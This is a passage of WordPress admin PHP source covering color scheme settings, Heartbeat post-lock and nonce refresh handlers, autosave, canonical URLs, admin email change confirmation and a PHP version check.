				&lt;input type=&quot;hidden&quot; class=&quot;css_url&quot; value=&quot;&lt;?php echo esc_url( $color_info-&gt;url ); ?&gt;&quot; /&gt;
				&lt;input type=&quot;hidden&quot; class=&quot;icon_colors&quot; value=&quot;&lt;?php echo esc_attr( wp_json_encode( array( &#039;icons&#039; =&gt; $color_info-&gt;icon_colors ) ) ); ?&gt;&quot; /&gt;
				&lt;label for=&quot;admin_color_&lt;?php echo esc_attr( $color ); ?&gt;&quot;&gt;&lt;?php echo esc_html( $color_info-&gt;name ); ?&gt;&lt;/label&gt;
				&lt;div class=&quot;color-palette&quot;&gt;
				&lt;?php
				foreach ( $color_info-&gt;colors as $html_color ) {
					?&gt;
					&lt;div class=&quot;color-palette-shade&quot; style=&quot;background-color: &lt;?php echo esc_attr( $html_color ); ?&gt;&quot;&gt;&amp;nbsp;&lt;/div&gt;
					&lt;?php
				}
				?&gt;
				&lt;/div&gt;
			&lt;/div&gt;
			&lt;?php

		endforeach;
		?&gt;
	&lt;/fieldset&gt;
	&lt;?php
}

/**
 *
 * @since 3.8.0
 *
 * @global array $_wp_admin_css_colors
 */
function wp_color_scheme_settings() {
	global $_wp_admin_css_colors;

	$color_scheme = get_user_option( &#039;admin_color&#039; );

	// It&#039;s possible to have a color scheme set that is no longer registered.
	if ( empty( $_wp_admin_css_colors[ $color_scheme ] ) ) {
		$color_scheme = &#039;fresh&#039;;
	}

	if ( ! empty( $_wp_admin_css_colors[ $color_scheme ]-&gt;icon_colors ) ) {
		$icon_colors = $_wp_admin_css_colors[ $color_scheme ]-&gt;icon_colors;
	} elseif ( ! empty( $_wp_admin_css_colors[&#039;fresh&#039;]-&gt;icon_colors ) ) {
		$icon_colors = $_wp_admin_css_colors[&#039;fresh&#039;]-&gt;icon_colors;
	} else {
		// Fall back to the default set of icon colors if the default scheme is missing.
		$icon_colors = array(
			&#039;base&#039;    =&gt; &#039;#a7aaad&#039;,
			&#039;focus&#039;   =&gt; &#039;#72aee6&#039;,
			&#039;current&#039; =&gt; &#039;#fff&#039;,
		);
	}

	echo &#039;&lt;script type=&quot;text/javascript&quot;&gt;var _wpColorScheme = &#039; . wp_json_encode( array( &#039;icons&#039; =&gt; $icon_colors ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . &quot;;&lt;/script&gt;\n&quot;;
}

/**
 * Displays the viewport meta in the admin.
 *
 * @since 5.5.0
 */
function wp_admin_viewport_meta() {
	/**
	 * Filters the viewport meta in the admin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $viewport_meta The viewport meta.
	 */
	$viewport_meta = apply_filters( &#039;admin_viewport_meta&#039;, &#039;width=device-width,initial-scale=1.0&#039; );

	if ( empty( $viewport_meta ) ) {
		return;
	}

	echo &#039;&lt;meta name=&quot;viewport&quot; content=&quot;&#039; . esc_attr( $viewport_meta ) . &#039;&quot;&gt;&#039;;
}

/**
 * Adds viewport meta for mobile in Customizer.
 *
 * Hooked to the {@see &#039;admin_viewport_meta&#039;} filter.
 *
 * @since 5.5.0
 *
 * @param string $viewport_meta The viewport meta.
 * @return string Filtered viewport meta.
 */
function _customizer_mobile_viewport_meta( $viewport_meta ) {
	return trim( $viewport_meta, &#039;,&#039; ) . &#039;,minimum-scale=0.5,maximum-scale=1.2&#039;;
}

/**
 * Checks lock status for posts displayed on the Posts screen.
 *
 * @since 3.6.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @param string $screen_id The screen ID.
 * @return array The Heartbeat response.
 */
function wp_check_locked_posts( $response, $data, $screen_id ) {
	$checked = array();

	if ( array_key_exists( &#039;wp-check-locked-posts&#039;, $data ) &amp;&amp; is_array( $data[&#039;wp-check-locked-posts&#039;] ) ) {
		foreach ( $data[&#039;wp-check-locked-posts&#039;] as $key ) {
			$post_id = absint( substr( $key, 5 ) );

			if ( ! $post_id ) {
				continue;
			}

			$user_id = wp_check_post_lock( $post_id );

			if ( $user_id ) {
				$user = get_userdata( $user_id );

				if ( $user &amp;&amp; current_user_can( &#039;edit_post&#039;, $post_id ) ) {
					$send = array(
						&#039;name&#039; =&gt; $user-&gt;display_name,
						/* translators: %s: User&#039;s display name. */
						&#039;text&#039; =&gt; sprintf( __( &#039;%s is currently editing&#039; ), $user-&gt;display_name ),
					);

					if ( get_option( &#039;show_avatars&#039; ) ) {
						$send[&#039;avatar_src&#039;]    = get_avatar_url( $user-&gt;ID, array( &#039;size&#039; =&gt; 18 ) );
						$send[&#039;avatar_src_2x&#039;] = get_avatar_url( $user-&gt;ID, array( &#039;size&#039; =&gt; 36 ) );
					}

					$checked[ $key ] = $send;
				}
			}
		}
	}

	if ( ! empty( $checked ) ) {
		$response[&#039;wp-check-locked-posts&#039;] = $checked;
	}

	return $response;
}

/**
 * Checks lock status on the New/Edit Post screen and refresh the lock.
 *
 * @since 3.6.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @param string $screen_id The screen ID.
 * @return array The Heartbeat response.
 */
function wp_refresh_post_lock( $response, $data, $screen_id ) {
	if ( array_key_exists( &#039;wp-refresh-post-lock&#039;, $data ) ) {
		$received = $data[&#039;wp-refresh-post-lock&#039;];
		$send     = array();

		$post_id = absint( $received[&#039;post_id&#039;] );

		if ( ! $post_id ) {
			return $response;
		}

		if ( ! current_user_can( &#039;edit_post&#039;, $post_id ) ) {
			return $response;
		}

		$user_id = wp_check_post_lock( $post_id );
		$user    = get_userdata( $user_id );

		if ( $user ) {
			$error = array(
				&#039;name&#039; =&gt; $user-&gt;display_name,
				/* translators: %s: User&#039;s display name. */
				&#039;text&#039; =&gt; sprintf( __( &#039;%s has taken over and is currently editing.&#039; ), $user-&gt;display_name ),
			);

			if ( get_option( &#039;show_avatars&#039; ) ) {
				$error[&#039;avatar_src&#039;]    = get_avatar_url( $user-&gt;ID, array( &#039;size&#039; =&gt; 64 ) );
				$error[&#039;avatar_src_2x&#039;] = get_avatar_url( $user-&gt;ID, array( &#039;size&#039; =&gt; 128 ) );
			}

			$send[&#039;lock_error&#039;] = $error;
		} else {
			$new_lock = wp_set_post_lock( $post_id );

			if ( $new_lock ) {
				$send[&#039;new_lock&#039;] = implode( &#039;:&#039;, $new_lock );
			}
		}

		$response[&#039;wp-refresh-post-lock&#039;] = $send;
	}

	return $response;
}

/**
 * Checks nonce expiration on the New/Edit Post screen and refresh if needed.
 *
 * @since 3.6.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @param string $screen_id The screen ID.
 * @return array The Heartbeat response.
 */
function wp_refresh_post_nonces( $response, $data, $screen_id ) {
	if ( array_key_exists( &#039;wp-refresh-post-nonces&#039;, $data ) ) {
		$received = $data[&#039;wp-refresh-post-nonces&#039;];

		$response[&#039;wp-refresh-post-nonces&#039;] = array( &#039;check&#039; =&gt; 1 );

		$post_id = absint( $received[&#039;post_id&#039;] );

		if ( ! $post_id ) {
			return $response;
		}

		if ( ! current_user_can( &#039;edit_post&#039;, $post_id ) ) {
			return $response;
		}

		$response[&#039;wp-refresh-post-nonces&#039;] = array(
			&#039;replace&#039; =&gt; array(
				&#039;getpermalinknonce&#039;    =&gt; wp_create_nonce( &#039;getpermalink&#039; ),
				&#039;samplepermalinknonce&#039; =&gt; wp_create_nonce( &#039;samplepermalink&#039; ),
				&#039;closedpostboxesnonce&#039; =&gt; wp_create_nonce( &#039;closedpostboxes&#039; ),
				&#039;_ajax_linking_nonce&#039;  =&gt; wp_create_nonce( &#039;internal-linking&#039; ),
				&#039;_wpnonce&#039;             =&gt; wp_create_nonce( &#039;update-post_&#039; . $post_id ),
			),
		);
	}

	return $response;
}

/**
 * Refresh nonces used with meta boxes in the block editor.
 *
 * @since 6.1.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @return array The Heartbeat response.
 */
function wp_refresh_metabox_loader_nonces( $response, $data ) {
	if ( empty( $data[&#039;wp-refresh-metabox-loader-nonces&#039;] ) ) {
		return $response;
	}

	$received = $data[&#039;wp-refresh-metabox-loader-nonces&#039;];
	$post_id  = (int) $received[&#039;post_id&#039;];

	if ( ! $post_id ) {
		return $response;
	}

	if ( ! current_user_can( &#039;edit_post&#039;, $post_id ) ) {
		return $response;
	}

	$response[&#039;wp-refresh-metabox-loader-nonces&#039;] = array(
		&#039;replace&#039; =&gt; array(
			&#039;metabox_loader_nonce&#039; =&gt; wp_create_nonce( &#039;meta-box-loader&#039; ),
			&#039;_wpnonce&#039;             =&gt; wp_create_nonce( &#039;update-post_&#039; . $post_id ),
		),
	);

	return $response;
}

/**
 * Adds the latest Heartbeat and REST API nonce to the Heartbeat response.
 *
 * @since 5.0.0
 *
 * @param array $response The Heartbeat response.
 * @return array The Heartbeat response.
 */
function wp_refresh_heartbeat_nonces( $response ) {
	// Refresh the Rest API nonce.
	$response[&#039;rest_nonce&#039;] = wp_create_nonce( &#039;wp_rest&#039; );

	// Refresh the Heartbeat nonce.
	$response[&#039;heartbeat_nonce&#039;] = wp_create_nonce( &#039;heartbeat-nonce&#039; );

	return $response;
}

/**
 * Disables suspension of Heartbeat on the Add/Edit Post screens.
 *
 * @since 3.8.0
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @param array $settings An array of Heartbeat settings.
 * @return array Filtered Heartbeat settings.
 */
function wp_heartbeat_set_suspension( $settings ) {
	global $pagenow;

	if ( &#039;post.php&#039; === $pagenow || &#039;post-new.php&#039; === $pagenow ) {
		$settings[&#039;suspension&#039;] = &#039;disable&#039;;
	}

	return $settings;
}

/**
 * Performs autosave with heartbeat.
 *
 * @since 3.9.0
 *
 * @param array $response The Heartbeat response.
 * @param array $data     The $_POST data sent.
 * @return array The Heartbeat response.
 */
function heartbeat_autosave( $response, $data ) {
	if ( ! empty( $data[&#039;wp_autosave&#039;] ) ) {
		$saved = wp_autosave( $data[&#039;wp_autosave&#039;] );

		if ( is_wp_error( $saved ) ) {
			$response[&#039;wp_autosave&#039;] = array(
				&#039;success&#039; =&gt; false,
				&#039;message&#039; =&gt; $saved-&gt;get_error_message(),
			);
		} elseif ( empty( $saved ) ) {
			$response[&#039;wp_autosave&#039;] = array(
				&#039;success&#039; =&gt; false,
				&#039;message&#039; =&gt; __( &#039;Error while saving.&#039; ),
			);
		} else {
			/* translators: Draft saved date format, see https://www.php.net/manual/datetime.format.php */
			$draft_saved_date_format = __( &#039;g:i:s a&#039; );
			$response[&#039;wp_autosave&#039;] = array(
				&#039;success&#039; =&gt; true,
				/* translators: %s: Date and time. */
				&#039;message&#039; =&gt; sprintf( __( &#039;Draft saved at %s.&#039; ), date_i18n( $draft_saved_date_format ) ),
			);
		}
	}

	return $response;
}

/**
 * Removes single-use URL parameters and create canonical link based on new URL.
 *
 * Removes specific query string parameters from a URL, create the canonical link,
 * put it in the admin header, and change the current URL to match.
 *
 * @since 4.2.0
 */
function wp_admin_canonical_url() {
	$removable_query_args = wp_removable_query_args();

	if ( empty( $removable_query_args ) ) {
		return;
	}

	// Ensure we&#039;re using an absolute URL.
	$current_url  = set_url_scheme( &#039;http://&#039; . $_SERVER[&#039;HTTP_HOST&#039;] . $_SERVER[&#039;REQUEST_URI&#039;] );
	$filtered_url = remove_query_arg( $removable_query_args, $current_url );

	/**
	 * Filters the admin canonical URL value.
	 *
	 * @since 6.5.0
	 *
	 * @param string $filtered_url The admin canonical URL value.
	 */
	$filtered_url = apply_filters( &#039;wp_admin_canonical_url&#039;, $filtered_url );
	?&gt;
	&lt;link id=&quot;wp-admin-canonical&quot; rel=&quot;canonical&quot; href=&quot;&lt;?php echo esc_url( $filtered_url ); ?&gt;&quot; /&gt;
	&lt;script&gt;
		if ( window.history.replaceState ) {
			window.history.replaceState( null, null, document.getElementById( &#039;wp-admin-canonical&#039; ).href + window.location.hash );
		}
	&lt;/script&gt;
	&lt;?php
}

/**
 * Outputs JS that reloads the page if the user navigated to it with the Back or Forward button.
 *
 * Used on the Edit Post and Add New Post screens. Needed to ensure the page is not loaded from browser cache,
 * so the post title and editor content are the last saved versions. Ideally this script should run first in the head.
 *
 * @since 4.6.0
 */
function wp_page_reload_on_back_button_js() {
	?&gt;
	&lt;script&gt;
		if ( typeof performance !== &#039;undefined&#039; &amp;&amp; performance.navigation &amp;&amp; performance.navigation.type === 2 ) {
			document.location.reload( true );
		}
	&lt;/script&gt;
	&lt;?php
}

/**
 * Sends a confirmation request email when a change of site admin email address is attempted.
 *
 * The new site admin address will not become active until confirmed.
 *
 * @since 3.0.0
 * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it&#039;s no longer Multisite specific.
 *
 * @param string $old_value The old site admin email address.
 * @param string $value     The proposed new site admin email address.
 */
function update_option_new_admin_email( $old_value, $value ) {
	if ( get_option( &#039;admin_email&#039; ) === $value || ! is_email( $value ) ) {
		return;
	}

	$hash            = md5( $value . time() . wp_rand() );
	$new_admin_email = array(
		&#039;hash&#039;     =&gt; $hash,
		&#039;newemail&#039; =&gt; $value,
	);
	update_option( &#039;adminhash&#039;, $new_admin_email, false );

	$switched_locale = switch_to_user_locale( get_current_user_id() );

	/* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */
	$email_text = __(
		&#039;Howdy,

A site administrator (###USERNAME###) recently requested to have the
administration email address changed on this site:
###SITEURL###

To confirm this change, please click on the following link:
###ADMIN_URL###

You can safely ignore and delete this email if you do not want to
take this action.

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###&#039;
	);

	/**
	 * Filters the text of the email sent when a change of site admin email address is attempted.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 *  - `###USERNAME###`  The current user&#039;s username.
	 *  - `###ADMIN_URL###` The link to click on to confirm the email change.
	 *  - `###EMAIL###`     The proposed new site admin email address.
	 *  - `###SITENAME###`  The name of the site.
	 *  - `###SITEURL###`   The URL to the site.
	 *
	 * @since MU (3.0.0)
	 * @since 4.9.0 This filter is no longer Multisite specific.
	 *
	 * @param string $email_text      Text in the email.
	 * @param array  $new_admin_email {
	 *     Data relating to the new site admin email address.
	 *
	 *     @type string $hash     The secure hash used in the confirmation link URL.
	 *     @type string $newemail The proposed new site admin email address.
	 * }
	 */
	$content = apply_filters( &#039;new_admin_email_content&#039;, $email_text, $new_admin_email );

	$current_user = wp_get_current_user();
	$content      = str_replace( &#039;###USERNAME###&#039;, $current_user-&gt;user_login, $content );
	$content      = str_replace( &#039;###ADMIN_URL###&#039;, esc_url( self_admin_url( &#039;options.php?adminhash=&#039; . $hash ) ), $content );
	$content      = str_replace( &#039;###EMAIL###&#039;, $value, $content );
	$content      = str_replace( &#039;###SITENAME###&#039;, wp_specialchars_decode( get_option( &#039;blogname&#039; ), ENT_QUOTES ), $content );
	$content      = str_replace( &#039;###SITEURL###&#039;, home_url(), $content );

	if ( &#039;&#039; !== get_option( &#039;blogname&#039; ) ) {
		$site_title = wp_specialchars_decode( get_option( &#039;blogname&#039; ), ENT_QUOTES );
	} else {
		$site_title = parse_url( home_url(), PHP_URL_HOST );
	}

	$subject = sprintf(
		/* translators: New admin email address notification email subject. %s: Site title. */
		__( &#039;[%s] New Admin Email Address&#039; ),
		$site_title
	);

	/**
	 * Filters the subject of the email sent when a change of site admin email address is attempted.
	 *
	 * @since 6.5.0
	 *
	 * @param string $subject Subject of the email.
	 */
	$subject = apply_filters( &#039;new_admin_email_subject&#039;, $subject );

	wp_mail( $value, $subject, $content );

	if ( $switched_locale ) {
		restore_previous_locale();
	}
}

/**
 * Appends &#039;(Draft)&#039; to draft page titles in the privacy page dropdown
 * so that unpublished content is obvious.
 *
 * @since 4.9.8
 * @access private
 *
 * @param string  $title Page title.
 * @param WP_Post $page  Page data object.
 * @return string Page title.
 */
function _wp_privacy_settings_filter_draft_page_titles( $title, $page ) {
	if ( &#039;draft&#039; === $page-&gt;post_status &amp;&amp; &#039;privacy&#039; === get_current_screen()-&gt;id ) {
		/* translators: %s: Page title. */
		$title = sprintf( __( &#039;%s (Draft)&#039; ), $title );
	}

	return $title;
}

/**
 * Checks if the user needs to update PHP.
 *
 * @since 5.1.0
 * @since 5.1.1 Added the {@see &#039;wp_is_php_version_acceptable&#039;} filter.
 *
 * @return array|false {
 *     Array of PHP version data. False on failure.
 *
 *     @type string $recommended_version The PHP version recommended by WordPress.
 *     @type string $minimum_version     The minimum required PHP version.
 *     @type bool   $is_supported        Whether the PHP version is actively supported.
 *     @type bool   $is_secure           Whether the PHP version receives security updates.
 *     @type bool   $is_acceptable       Whether the PHP version is still acceptable or warnings
 *                                       should be shown and an update recommended.
 * }
 */
function wp_check_php_version() {
	$version = PHP_VERSION;
	$key     = md5( $version );

	$response = get_site_transient( &#039;php_check_&#039; . $key );

	if ( false === $response ) {
		$url = &#039;http://api.wordpress.org/core/serve-happy/1.0/&#039;;

		if ( wp_http_supports( array( &#039;ssl&#039; ) ) ) {
			$url = set_url_scheme( $url, &#039;https&#039; );
		}

		$url = add_query_arg( &#039;php_version&#039;, $version, $url );

		$response = wp_remote_get( $url );

		if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
			return false;
		}

		$response = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( ! is_array( $response ) ) {
			return false;
		}

		set_site_transient( &#039;php_check_&#039; . $key, $response, WEEK_IN_SECONDS );
	}

	if ( isset( $response[&#039;is_acceptable&#039;] ) &amp;&amp; $response[&#039;is_acceptable&#039;] ) {
		/**
		 * Filters whether the active PHP version is considered acceptable by WordPress.
		 *
		 * Returning false will trigger a PHP version warning to show up in the admin dashboard to administrators.
		 *
		 * This filter is only run if the wordpress.org Serve Happy API considers the PHP version acceptable, ensuring
		 * that this filter can only make this check stricter, but not loosen it.
		 *
		 * @since 5.1.1
		 *
		 * @param bool   $is_acceptable Whether the PHP version is considered acceptable. Default true.
		 * @param string $version       PHP version checked.
		 */
		$response[&#039;is_acceptable&#039;] = (bool) apply_filters( &#039;wp_is_php_version_acceptable&#039;, true, $version );
	}

	$response[&#039;is_lower_than_future_minimum&#039;] = false;

	// The minimum supported PHP version will be updated to 7.4 in the future. Check if the current version is lower.
	if ( version_compare( $version, &#039;7.4&#039;, &#039;&lt;&#039; ) ) {
		$response[&#039;is_lower_than_future_minimum&#039;] = true;

		// Force showing of warnings.
		$response[&#039;is_acceptable&#039;] = false;
	}

	return $response;
}
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